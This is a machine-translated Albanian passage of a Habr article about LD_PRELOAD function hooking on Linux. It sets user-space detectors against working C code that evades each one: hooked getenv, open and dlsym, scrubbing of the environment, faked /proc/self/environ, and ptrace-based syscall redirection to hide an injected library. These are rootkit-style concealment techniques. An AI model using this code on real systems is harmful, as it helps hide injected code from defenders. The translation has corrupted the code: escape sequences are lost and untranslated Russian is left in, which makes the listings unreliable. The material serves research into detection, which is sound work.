Ky shënim u shkrua në vitin 2014, por unë isha nën represion në Habr dhe nuk doli në dritë. Gjatë kohës që isha ndaluar, e harrova, por tani e gjeta në skicat. Mendova të fshij, por ndoshta do t'i duhet dikujt.

Në tërësi, një lexim i vogël administrativ për të premten mbi kërkimin e ‘aktivizuar’ LD_PRELOAD.
1. Një përjashtim i vogël për ata që nuk janë të njohur me zëvendësimin e funksioneve
Të tjerët mund të kalojnë direkt te p.2.
Të fillojmë me një shembull klasik:
#include <stdio.h>
#include <stdlib.h>
#include <time.h>
int main()
{
srand (time(NULL));
for(int i=0; i<5; i++){
printf ("%dn", rand()%100);
}
}
Kompilojmë pa asnjë flamur:
$ gcc ./ld_rand.c -o ld_rand
Dhe, siç pritej, marrim 5 numra të rastësishëm më pak se 100:
$ ./ld_rand
53
93
48
57
20
Por imagjinoni se nuk kemi kodin burimor të programit, por duhet ta ndryshojmë sjelljen.
Krijojmë bibliotekën tonë me prototipin e funksionit tonë, për shembull:
int rand(){
return 42;
}
$ gcc -shared -fPIC ./o_rand.c -o ld_rand.so
Dhe tani zgjedhja jonë e rastësishme është plotësisht e parashikueshme:
# LD_PRELOAD=$PWD/ld_rand.so ./ld_rand
42
42
42
42
42
Ky truk duket akoma më impresionues nëse ne fillimisht eksportojmë bibliotekën tonë përmes
$ export LD_PRELOAD=$PWD/ld_rand.so
ose nëse e ekzekutojmë paraprakisht
# echo "$PWD/ld_rand.so" > /etc/ld.so.preload
pastaj ta nisim programin në mënyrë normale. Ne nuk ndryshuam asnjë rresht në kodin e vetë programit, por sjellja e tij tani varet nga një funksion i vogël në bibliotekën tonë. Më tepër, në momentin kur u shkrua programi, falsa rand madje nuk ekzistonte.
Çfarë e bëri programin tonë të përdorë të rremë rand? Разберем по шагам.
Kur aplikacioni starton, ngarkohen biblioteka të caktuara që përmbajnë funksionet e nevojshme për programin. Mund të shohim ato duke përdorur ldd:
# ldd ./ld_rand
linux-vdso.so.1 (0x00007ffc8b1f3000)
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007fe3da8af000)
/lib64/ld-linux-x86-64.so.2 (0x00007fe3daa7e000)
Ky listë mund të jetë i ndryshëm në varësi të versionit të OS, por atje duhet të jetë patjetër skedari libc.so. Pikërisht kjo bibliotekë ofron thirrjet sistemore dhe funksionet kryesore si open, malloc, printf etj. Tonë rand po ashtu është midis tyre. Le të sigurohemi për këtë:
# nm -D /lib/x86_64-linux-gnu/libc.so.6 | grep " rand$"
000000000003aef0 T rand
Të shohim nëse do të ndryshojë grupi i bibliotekave kur përdorim LD_PRELOAD
# LD_PRELOAD=$PWD/ld_rand.so ldd ./ld_rand
linux-vdso.so.1 (0x00007ffea52ae000)
/scripts/c/ldpreload/ld_rand.so (0x00007f690d3f9000)
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007f690d230000)
/lib64/ld-linux-x86-64.so.2 (0x00007f690d405000)
Duket se variabla e instaluar LD_PRELOAD i bën të ngarkohet ld_rand.so edhe pse programi vetë nuk e kërkon. Dhe, pasi funksioni ynë "rand" ngarkohet më parë se rand nga libc.so, atëherë ai drejton balin.
Mirë, arritëm ta zëvendësojmë funksionin e tij të origjinës, por si ta bëjmë që funksionaliteti i saj të ruhet dhe të shtojmë disa veprime. Modifikojmë rastësishmërinë tonë:
#define _GNU_SOURCE
#include <dlfcn.h>
#include <stdio.h>
typedef int (*orig_rand_f_type)(void);
int rand()
{
/* Выполняем некий код */
printf("Evil injected coden");
orig_rand_f_type orig_rand;
orig_rand = (orig_rand_f_type)dlsym(RTLD_NEXT,"rand");
return orig_rand();
}
Këtu si ‘shtesë’ ne thjesht printojmë një rresht teksti, pas së cilës krijojmë një tregues për funksionin origjinal rand. Për të marrë adresën e kësaj funksioni, na nevojitet dlsym — është një funksion nga biblioteka libdl, e cila do të gjejë tonin tonë rand në grumbullin e bibliotikave dinamike. Pas kësaj, do ta thërrasim këtë funksion dhe do të kthejmë vlerën e tij. Sipas kësaj, na nevojitet të shtojmë «-ldl» në ndërtim:
$ gcc -ldl -shared -fPIC .\/o_rand_evil.c -o ld_rand_evil.so
$ LD_PRELOAD=$PWD\/ld_rand_evil.so .\/ld_rand
Kodi i injektuar i keq
66
Kodi i injektuar i keq
28
Kodi i injektuar i keq
93
Kodi i injektuar i keq
93
Kodi i injektuar i keq
95
Dhe programi ynë përdor «origjinalin» rand, pas një sërë veprimesh të papërshtatshme.
2. Mëkatet e kërkimit
Duke qenë të vetëdijshëm për kërcënimin potencial, ne duam të zbulojmë se preload ka ndodhur. Sigurisht, mënyra më e mirë për të bërë këtë është ta fusim në bërthamë, por mua më interesonin variantet e zbulimit në hapësirën e përdoruesit.
Më pas do të ofroj zgjidhje për zbulesë dhe mohim të tyre.
2.1. Të fillojmë me të thjeshtën
Siç u tha më parë, t'ia japësh bibliotekën e ngarkuar është e mundur me ndihmën e variablës LD_PRELOAD ose duke e shkruar atë në skedar /etc/ld.so.preload. Le të krijojmë dy detektorë të thjeshtë.
I pari — për të kontrolluar vlerën e variablës ambientale:
#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>
int main()
{
char* pGetenv = getenv("LD_PRELOAD");
pGetenv != NULL ?
printf("LD_PRELOAD (getenv) [+]n"):
printf("LD_PRELOAD (getenv) [-]n");
}
I dyti — për të kontrolluar hapjen e skedarit:
#include <stdio.h>
#include <fcntl.h>
int main()
{
open("/etc/ld.so.preload", O_RDONLY) != -1 ?
printf("LD_PRELOAD (open) [+]n"):
printf("LD_PRELOAD (open) [-]n");
}
Do të ngarkojmë bibliotekat:
$ export LD_PRELOAD=$PWD\/ld_rand.so
$ echo "$PWD\/ld_rand.so" > \/etc\/ld.so.preload
$ .\/detect_base_getenv
LD_PRELOAD (getenv) [+]
$ .\/detect_base_open
LD_PRELOAD (open) [+]
Këtu dhe më tej [+] tregon një zbulim të suksesshëm.
Sipas kësaj, [-] nënkupton kapërcimin e zbulimit.
Sa efektiv është ky detektor? Fillimisht, le të merremi me variablën ambientale:
#define _GNU_SOURCE
#include <stdio.h>
#include <string.h>
#include <dlfcn.h>
char* (*orig_getenv)(const char *) = NULL;
char* getenv(const char *name)
{
if(!orig_getenv) orig_getenv = dlsym(RTLD_NEXT, "getenv");
if(strcmp(name, "LD_PRELOAD") == 0) return NULL;
return orig_getenv(name);
}
$ gcc -shared -fpic -ldl .\/ld_undetect_getenv.c -o .\/ld_undetect_getenv.so
$ LD_PRELOAD=.\/ld_undetect_getenv.so .\/detect_base_getenv
LD_PRELOAD (getenv) [-]
Po ashtu i largohemi verifikimit open:
#define _GNU_SOURCE
#include <string.h>
#include <stdlib.h>
#include <dlfcn.h>
#include <errno.h>
int (*orig_open)(const char*, int oflag) = NULL;
int open(const char *path, int oflag, ...)
{
char real_path[256];
if(!orig_open) orig_open = dlsym(RTLD_NEXT, "open");
realpath(path, real_path);
if(strcmp(real_path, "/etc/ld.so.preload") == 0){
errno = ENOENT;
return -1;
}
return orig_open(path, oflag);
}
$ gcc -shared -fpic -ldl .\/ld_undetect_open.c -o .\/ld_undetect_open.so
$ LD_PRELOAD=.\/ld_undetect_open.so .\/detect_base_open
LD_PRELOAD (open) [-]
Po, këtu mund të përdoren mënyra të tjera për të aksesuar skedarin, si open64, stat etj., por, në thelb, për t'i mashtruar ato kërkohen të njëjtat 5-10 rreshta kod.
2.2. Të vazhdojmë përpara
Më sipër kemi përdorur getenv() për të marrë vlerën LD_PRELOAD, por ka edhe një mënyrë më «të ulët» për të arritur në ENV-variablat. Nuk do të përdorim funksione ndërmjetëse, por do të drejtohemi në array **environ, në të cilin ruhet një kopje e ambientit:
#include <stdio.h>
#include <string.h>
extern char **environ;
int main(int argc, char **argv) {
int i;
char env[] = "LD_PRELOAD";
if (environ != NULL)
for (i = 0; environ[i] != NULL; i++)
{
char * pch;
pch = strstr(environ[i],env);
if(pch != NULL)
{
printf("LD_PRELOAD (**environ) [+]n");
return 0;
}
}
printf("LD_PRELOAD (**environ) [-]n");
return 0;
}
Pasi këtu po lexojmë të dhënat direkt nga memoria, një thirrje e tillë nuk mund të kapet, dhe undetect_getenv nuk e pengon tashmë zbulimin e ndërhyrjes.
$ LD_PRELOAD=.\/ld_undetect_getenv.so .\/detect_environ
LD_PRELOAD (**environ) [+]
Duket se problemi është zgjidhur? Ende sapo ka filluar.
Pas i filluar programin, vlera e variables LD_PRELOAD në memorje nuk i duhen më hakerëve, pra mund ta konsiderojmë atë dhe ta fshijmë përpara se të ekzekutojmë ndonjë instruksion. Sigurisht, të redaktosh një varg në memorje, minimalisht, është një stil i keq programimi, por a do ta ndalonte kjo atë që thjesht nuk dëshiron asnjëherë mirë për ne?
Për këtë do na nevojitet të krijojmë funksionin tonë të rremë init(), në të cilin do të kapim të vendosur LD_PRELOAD dhe do t'ia kalojmë kompostuesit tonë:
#define _GNU_SOURCE
#include <stdio.h>
#include <string.h>
#include <unistd.h>
#include <dlfcn.h>
#include <stdlib.h>
extern char **environ;
char *evil_env;
int (*orig_execve)(const char *path, char *const argv[], char *const envp[]) = NULL;
// Создаём фейковую версию init
// которая будет вызвана при загрузке программы
// до выполнения каких-либо инструкций
void evil_init()
{
// Сначала сохраним текущее значение LD_PRELOAD
static const char *ldpreload = "LD_PRELOAD";
int len = strlen(getenv(ldpreload));
evil_env = (char*) malloc(len+1);
strcpy(evil_env, getenv(ldpreload));
int i;
char env[] = "LD_PRELOAD";
if (environ != NULL)
for (i = 0; environ[i] != NULL; i++) {
char * pch;
pch = strstr(environ[i],env);
if(pch != NULL) {
// Избавляемся от текущего LD_PRELOAD
unsetenv(env);
break;
}
}
}
int execve(const char *path, char *const argv[], char *const envp[])
{
int i = 0, j = 0, k = -1, ret = 0;
char** new_env;
if(!orig_execve) orig_execve = dlsym(RTLD_NEXT,"execve");
// Проверям не существует ли других установленных LD_PRELOAD
for(i = 0; envp[i]; i++){
if(strstr(envp[i], "LD_PRELOAD")) k = i;
}
// Если LD_PRELOAD не было установлено до нас, то добавим его
if(k == -1){
k = i;
i++;
}
// Создаём новое окружение
new_env = (char**) malloc((i+1)*sizeof(char*));
// Копируем старое окружение, за исключением LD_PRELOAD
for(j = 0; j < i; j++) {
// перезаписываем или создаём LD_PRELOAD
if(j == k) {
new_env[j] = (char*) malloc(256);
strcpy(new_env[j], "LD_PRELOAD=");
strcat(new_env[j], evil_env);
}
else new_env[j] = (char*) envp[j];
}
new_env[i] = NULL;
ret = orig_execve(path, argv, new_env);
free(new_env[k]);
free(new_env);
return ret;
}
E ekzekutojmë, kontrollojmë:
$ gcc -shared -fpic -ldl -Wl,-init,evil_init .\/ld_undetect_environ.c -o .\/ld_undetect_environ.so
$ LD_PRELOAD=.\/ld_undetect_environ.so .\/detect_environ
LD_PRELOAD (**environ) [-]
2.3. \/proc\/self\/
Megjithatë, memoria nuk është vendi i fundit ku mund të zbulohet zëvendësimi LD_PRELOAD, ka edhe /proc/. Të fillojmë me të dukshmin /proc/{PID}/environ.
Në të vërtetë ka një zgjidhje universale për undetect’ën **environ dhe /proc/self/environ. Problemi qëndron në sjelljen "e gabuar" unsetenv(env).
varianti i duhur
void evil_init()
{
\/\/ Së pari, ruajmë vlerën aktuale të LD_PRELOAD
static const char *ldpreload = "LD_PRELOAD";
int len = strlen(getenv(ldpreload));
evil_env = (char*) malloc(len+1);
strcpy(evil_env, getenv(ldpreload));
int i;
char env[] = "LD_PRELOAD";
if (environ != NULL)
for (i = 0; environ[i] != NULL; i++) {
char * pch;
pch = strstr(environ[i],env);
if(pch != NULL) {
\/\/ Shkëputim LD_PRELOAD aktuale
\/\/unsetenv(env);
\/\/ Në vend të unset, thjesht e izolojmë variablën tonë
for(int j = 0; environ[i][j] != ' '; j++) environ[i][j] = ' ';
break;
}
}
}
$ gcc -shared -fpic -ldl -Wl,-init,evil_init .\/ld_undetect_environ_2.c -o .\/ld_undetect_environ_2.so
$ (LD_PRELOAD=.\/ld_undetect_environ_2.so cat \/proc\/self\/environ; echo) | tr " 00" "n" | grep -F LD_PRELOAD
$
Por le të imagjinojmë se nuk e kemi gjetur dhe /proc/self/environ përmban të dhëna "problematiike".
Së pari do të përpiqemi me "maskimin" tonë të mëparshëm:
$ (LD_PRELOAD=.\/ld_undetect_environ.so cat \/proc\/self\/environ; echo) | tr " 00" "n" | grep -F LD_PRELOAD
LD_PRELOAD=.\/ld_undetect_environ.so
cat përdor për hapjen e skedarit të njëjtin open(), prandaj zgjidhja është e ngjashme me atë që është bërë në p.2.1, por tani krijojmë një skedar temporar, ku kopjojmë vlerat e vërtetë të memories pa rreshtat që përmbajnë LD_PRELOAD.
#define _GNU_SOURCE
#include <dlfcn.h>
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include <fcntl.h>
#include <sys/stat.h>
#include <unistd.h>
#include <limits.h>
#include <errno.h>
#define BUFFER_SIZE 256
int (*orig_open)(const char*, int oflag) = NULL;
char *soname = "fakememory_preload.so";
char *sstrstr(char *str, const char *sub)
{
int i, found;
char *ptr;
found = 0;
for(ptr = str; *ptr != ' '; ptr++) {
found = 1;
for(i = 0; found == 1 && sub[i] != ' '; i++){
if(sub[i] != ptr[i]) found = 0;
}
if(found == 1)
break;
}
if(found == 0)
return NULL;
return ptr + i;
}
void fakeMaps(char *original_path, char *fake_path, char *pattern)
{
int fd;
char buffer[BUFFER_SIZE];
int bytes = -1;
int wbytes = -1;
int k = 0;
pid_t pid = getpid();
int fh;
if ((fh=orig_open(fake_path,O_CREAT|O_WRONLY))==-1) {
printf("LD: Cannot open write-file [%s] (%d) (%s)n", fake_path, errno, strerror(errno));
exit (42);
}
if((fd=orig_open(original_path, O_RDONLY))==-1) {
printf("LD: Cannot open read-file.n");
exit(42);
}
do
{
char t = 0;
bytes = read(fd, &t, 1);
buffer[k++] = t;
//printf("%c", t);
if(t == ' ') {
//printf("n");
if(!sstrstr(buffer, "LD_PRELOAD")) {
if((wbytes = write(fh,buffer,k))==-1) {
//printf("write errorn");
}
else {
//printf("writed %dn", wbytes);
}
}
k = 0;
}
}
while(bytes != 0);
close(fd);
close(fh);
}
int open(const char *path, int oflag, ...)
{
char real_path[PATH_MAX], proc_path[PATH_MAX], proc_path_0[PATH_MAX];
pid_t pid = getpid();
if(!orig_open)
orig_open = dlsym(RTLD_NEXT, "open");
realpath(path, real_path);
snprintf(proc_path, PATH_MAX, "/proc/%d/environ", pid);
if(strcmp(real_path, proc_path) == 0) {
snprintf(proc_path, PATH_MAX, "/tmp/%d.fakemaps", pid);
realpath(proc_path_0, proc_path);
fakeMaps(real_path, proc_path, soname);
return orig_open(proc_path, oflag);
}
return orig_open(path, oflag);
}
Dhe ky hapi është kaluar:
$ (LD_PRELOAD=.\/ld_undetect_proc_environ.so cat \/proc\/self\/environ; echo) | tr " 00" "n" | grep -F LD_PRELOAD
$
Vendi tjetër i dukshëm është /proc/self/maps. Nuk ka kuptim të vonohemi aty. Zgjidhja është plotësisht identike me të mëparshmen: kopjojmë të dhënat nga skedari duke përjashtuar rreshtat midis libc.so dhe ld.so.
2.4. Varianti nga Chokepoint
Kjo zgjidhje më pëlqen veçanërisht për thjeshtësinë e saj. Krahasojmë adresat e funksioneve, të ngarkuara drejtpërdrejt nga libc, dhe adresat "NEXT".
#define _GNU_SOURCE
#include <stdio.h>
#include <dlfcn.h>
#define LIBC "/lib/x86_64-linux-gnu/libc.so.6"
int main(int argc, char *argv[]) {
void *libc = dlopen(LIBC, RTLD_LAZY); // Open up libc directly
char *syscall_open = "open";
int i;
void *(*libc_func)();
void *(*next_func)();
libc_func = dlsym(libc, syscall_open);
next_func = dlsym(RTLD_NEXT, syscall_open);
if (libc_func != next_func) {
printf("LD_PRELOAD (syscall - %s) [+]n", syscall_open);
printf("Libc address: %pn", libc_func);
printf("Next address: %pn", next_func);
}
else {
printf("LD_PRELOAD (syscall - %s) [-]n", syscall_open);
}
return 0;
}
Ngarkojmë bibliotekën me kapjen "open()" dhe kontrollojmë:
$ export LD_PRELOAD=$PWD/ld_undetect_open.so
$ ./detect_chokepoint
LD_PRELOAD (syscall - open) [+]
Libc address: 0x7fa86893b160
Next address: 0x7fa868a26135
Ne kjo, refutimi doli edhe më i thjeshtë:
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <dlfcn.h>
extern void * _dl_sym (void *, const char *, void *);
void * dlsym (void * handle, const char * symbol)
{
return _dl_sym (handle, symbol, dlsym);
}
# LD_PRELOAD=./ld_undetect_chokepoint.so ./detect_chokepoint
LD_PRELOAD (syscall - open) [-]
2.5. Syscalls
Duket se është gjithçka, por le t’i japim një përpjekje tjetër. Nëse drejtojmë thirrjen e sistemit drejtpërdrejt në bërthamë, do të lejojë të anashkalojmë tërë procesin e kapjes. Zgjidhja më poshtë është, natyrisht, e varur nga arkitektura (x86_64). Le të përpiqemi ta realizojmë për të zbuluar hapjen ld.so.preload.
#include <stdio.h>
#include <sys/stat.h>
#include <fcntl.h>
#define BUFFER_SIZE 256
int syscall_open(char *path, long oflag)
{
int fd = -1;
__asm__ (
"mov $2, %%rax;" // Open syscall number
"mov %1, %%rdi;" // Address of our string
"mov %2, %%rsi;" // Open mode
"mov $0, %%rdx;" // No create mode
"syscall;" // Straight to ring0
"mov %%eax, %0;" // Returned file descriptor
:"=r" (fd)
:"m" (path), "m" (oflag)
:"rax", "rdi", "rsi", "rdx"
);
return fd;
}
int main()
{
syscall_open("/etc/ld.so.preload", O_RDONLY) > 0 ?
printf("LD_PRELOAD (open syscall) [+]n"):
printf("LD_PRELOAD (open syscall) [-]n");
}
$ ./detect_syscall
LD_PRELOAD (open syscall) [+]
Dhe ky problem ka një zgjidhje. Një përmbledhje nga man‘a:
ptrace është një mekanizëm që lejon procesin prind të monitorojë dhe kontrollojë ekzekutimin e një procesi tjetër, duke parë dhe ndryshuar të dhënat dhe regjistrat e tij. Kjo funksion zakonisht përdoret për të vendosur pika ndalimi në programin e debugares dhe për të ndjekur thirrjet e sistemit.
Procesi prind mund të fillojë gjurmimin duke thirrur funksionin fork(2), dhe më pas procesi i fëmijës që rezulton mund të ekzekutojë PTRACE_TRACEME, pas së cilës (zakonisht) ndjek ekzekutimin exec(3). Nga ana tjetër, procesi prind mund të fillojë debimin e një procesi ekzistues duke përdorur PTRACE_ATTACH.
Gjatë gjurmimit, procesi i fëmijës ndalet çdo herë që merr një sinjal, edhe nëse ky sinjal injorohet. (Përjashtim është SIGKILL, që vepron normalisht.) Procesi prind do të njoftohet për këtë gjatë thirrjes wait(2), pas së cilës ai mund të shikojë dhe të ndryshojë përmbajtjen e procesit të fëmijës para se të nisë sërish. Më pas, procesi prind lejon që i fëmi thjesht të vazhdojë punën, disa herë duke injoruar sinjalin e dërguar ose duke dërguar një sinjal tjetër në vend të tij.
Prandaj, zgjidhja është të ndiqni procesin, duke e ndaluar atë para çdo thirrje të sistemit dhe, nëse është e nevojshme, të riedukoni rrjedhën në funksionin e kapjes.
#define _GNU_SOURCE
#include <fcntl.h>
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include <unistd.h>
#include <errno.h>
#include <limits.h>
#include <sys/ptrace.h>
#include <sys/wait.h>
#include <sys/reg.h>
#include <sys/user.h>
#include <asm/unistd.h>
#if defined(__x86_64__)
#define REG_SYSCALL ORIG_RAX
#define REG_SP rsp
#define REG_IP rip
#endif
long NOHOOK = 0;
long evil_open(const char *path, long oflag, long cflag)
{
char real_path[PATH_MAX], maps_path[PATH_MAX];
long ret;
pid_t pid;
pid = getpid();
realpath(path, real_path);
if(strcmp(real_path, "/etc/ld.so.preload") == 0)
{
errno = ENOENT;
ret = -1;
}
else
{
NOHOOK = 1; // Entering NOHOOK section
ret = open(path, oflag, cflag);
}
// Exiting NOHOOK section
NOHOOK = 0;
return ret;
}
void init()
{
pid_t program;
// Форкаем дочерний процесс
program = fork();
if(program != 0) {
int status;
long syscall_nr;
struct user_regs_struct regs;
// Подключаемся к дочернему процессу
if(ptrace(PTRACE_ATTACH, program) != 0) {
printf("Failed to attach to the program.n");
exit(1);
}
waitpid(program, &status, 0);
// Отслеживаем только SYSCALLs
ptrace(PTRACE_SETOPTIONS, program, 0, PTRACE_O_TRACESYSGOOD);
while(1) {
ptrace(PTRACE_SYSCALL, program, 0, 0);
waitpid(program, &status, 0);
if(WIFEXITED(status) || WIFSIGNALED(status)) break;
else if(WIFSTOPPED(status) && WSTOPSIG(status) == SIGTRAP|0x80) {
// Получаем номер системного вызова
syscall_nr = ptrace(PTRACE_PEEKUSER, program, sizeof(long)*REG_SYSCALL);
if(syscall_nr == __NR_open) {
// Читаем слово из памяти дочернего процесса
NOHOOK = ptrace(PTRACE_PEEKDATA, program, (void*)&NOHOOK);
// Перехватываем вызов
if(!NOHOOK) {
// Копируем регистры дочернего процесса
// в переменную regs родительского
ptrace(PTRACE_GETREGS, program, 0, ®s);
// Push return address on the stack
regs.REG_SP -= sizeof(long);
// Копируем слово в память дочернего процесса
ptrace(PTRACE_POKEDATA, program, (void*)regs.REG_SP, regs.REG_IP);
// Устанавливаем RIP по адресу evil_open
regs.REG_IP = (unsigned long) evil_open;
// Записываем состояние регистров процесса
ptrace(PTRACE_SETREGS, program, 0, ®s);
}
}
ptrace(PTRACE_SYSCALL, program, 0, 0);
waitpid(program, &status, 0);
}
}
exit(0);
}
else {
sleep(0);
}
}
Po kontrollojmë:
$ ./detect_syscall
LD_PRELOAD (open syscall) [+]
$ LD_PRELOAD=./ld_undetect_syscall.so ./detect_syscall
LD_PRELOAD (open syscall) [-]
+0-0=5
Faleminderit shumë
, të cilat artikuj, kode dhe komente bënë shumë më tepër se unë, që ky shënim të shfaqej këtu.
Burimi: habr.com
